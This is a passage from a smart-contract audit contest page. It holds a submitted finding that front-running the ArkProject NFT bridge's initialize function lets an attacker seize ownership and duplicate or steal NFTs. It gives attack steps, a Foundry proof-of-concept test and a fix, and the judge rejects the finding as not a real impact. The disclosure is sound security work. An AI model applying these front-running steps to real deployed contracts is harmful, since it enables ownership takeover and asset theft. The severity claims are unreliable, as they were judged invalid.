ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

Lack of access control lead to Bridge Owned and loss of NFTs by front running L1 bridge initialize

nfmelendez

Summary

Lack of access control allows initialize front running in first deploy or successive implementation upgrade that leads to blackhat owning the L1 bridge, NFT duplication or NFT stealing.

Vulnerability Details

The bridge has a check to only execute initialize once per implementation but anyone can call the initialize method first after the first deploy or in successive implementation upgrade.

There are 2 cases:

  1. First time the contract is deployed: a user can frontrun initialize and be the owner of the bridge leading to NFT duplication in case the L2 bridge is already deployed in starknet. Attack path:

    1. L2 Bridge already deployed

    2. Blackhat owns the L1 bridge by frontrunning, upgrading with attack implementation and crafting a deposit message with a NFT id=1000 that doesn't own.

    3. L2 Bridge receives the message and mint the NFT id=1000 for the blackhat. L2 bridge also can create the ERC721 contract if it doesn't exist.

    4. Blackhat quickly sells NFT id=1000 in L2 to profit.

  2. Successive implementation upgrades: It depends on the implementation changes that ark will do, but if the initialize logic doesn't change it can be owned. Attack path if initialze logic doesn't change:

    1. Ark upgrade a new implementation

    2. Blackhat frontrun initialize and owns the bridge

    3. Blackhat Steal NFTS and sell them for profit.

Proof of Concept

The POC shows how the bridge can be owned after an implementation upgrade if the initialize logic doesn't change:

function testBridge_owned_after_upgrade() public {
address somePerson = address(1200);
address blackhat = address(1300);
Starklane theBridge = Starklane(payable(bridge));
vm.startPrank(somePerson);
bytes memory someCallData = abi.encode(
address(this),
snCore,
0x1,
0x2
);
// Will revert because want to call initialize but was call before,
// but see what happen if is upgraded...
vm.expectRevert();
theBridge.initialize(someCallData);
​
​
​
// Now we are the address(this) the owner.
vm.stopPrank();
​
// owner is address(this)
assertEq(theBridge.owner(), address(this));
​
// create a new implementation
address newImplementation = address(new Starklane());
// upgrade can be done because we are the owner
theBridge.upgradeTo(newImplementation);
assertEq(theBridge.owner(), address(this));
​
vm.startPrank(blackhat);
​
bytes memory attackCalldata = abi.encode(
blackhat,
snCore,
0x1,
0x2
);
​
// Blackhat frontrun initializer or developer added another method to initialize
theBridge.initialize(attackCalldata);
​
//@audit Now Blackhat is owner of the bridge
assertEq(theBridge.owner(), blackhat);
​
}

Impact

  • First time deploy: NFT duplication if L2 bridge deployed and L1 owned by frontrunning.

  • Successive upgrades: NFT stealing if L1 initialise logic doesn't change.

Tools Used

  • VS Code

Recommendations

Use _disableInitializers method of Initializable.sol from of OpenZeppelin Contracts to avoid the frontrun

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}

Also use battle tested initializer modifier of Initializable.sol from OpenZeppelin Contracts to guarantee initializable is call only once.

function initialize(
bytes calldata data
) external initializer {}
Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid-bridge-initialize-frontrun

If frontrun at the first deployment, protocol will deploy again, no real impact: informational. Moreover it is already deployed and initialize on mainnet. For the upgrades, `initialize` can/will change for the next update since the owner is already set. A lot of protocol make that change. That’s why I consider it like a future feature and it is out of scope.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.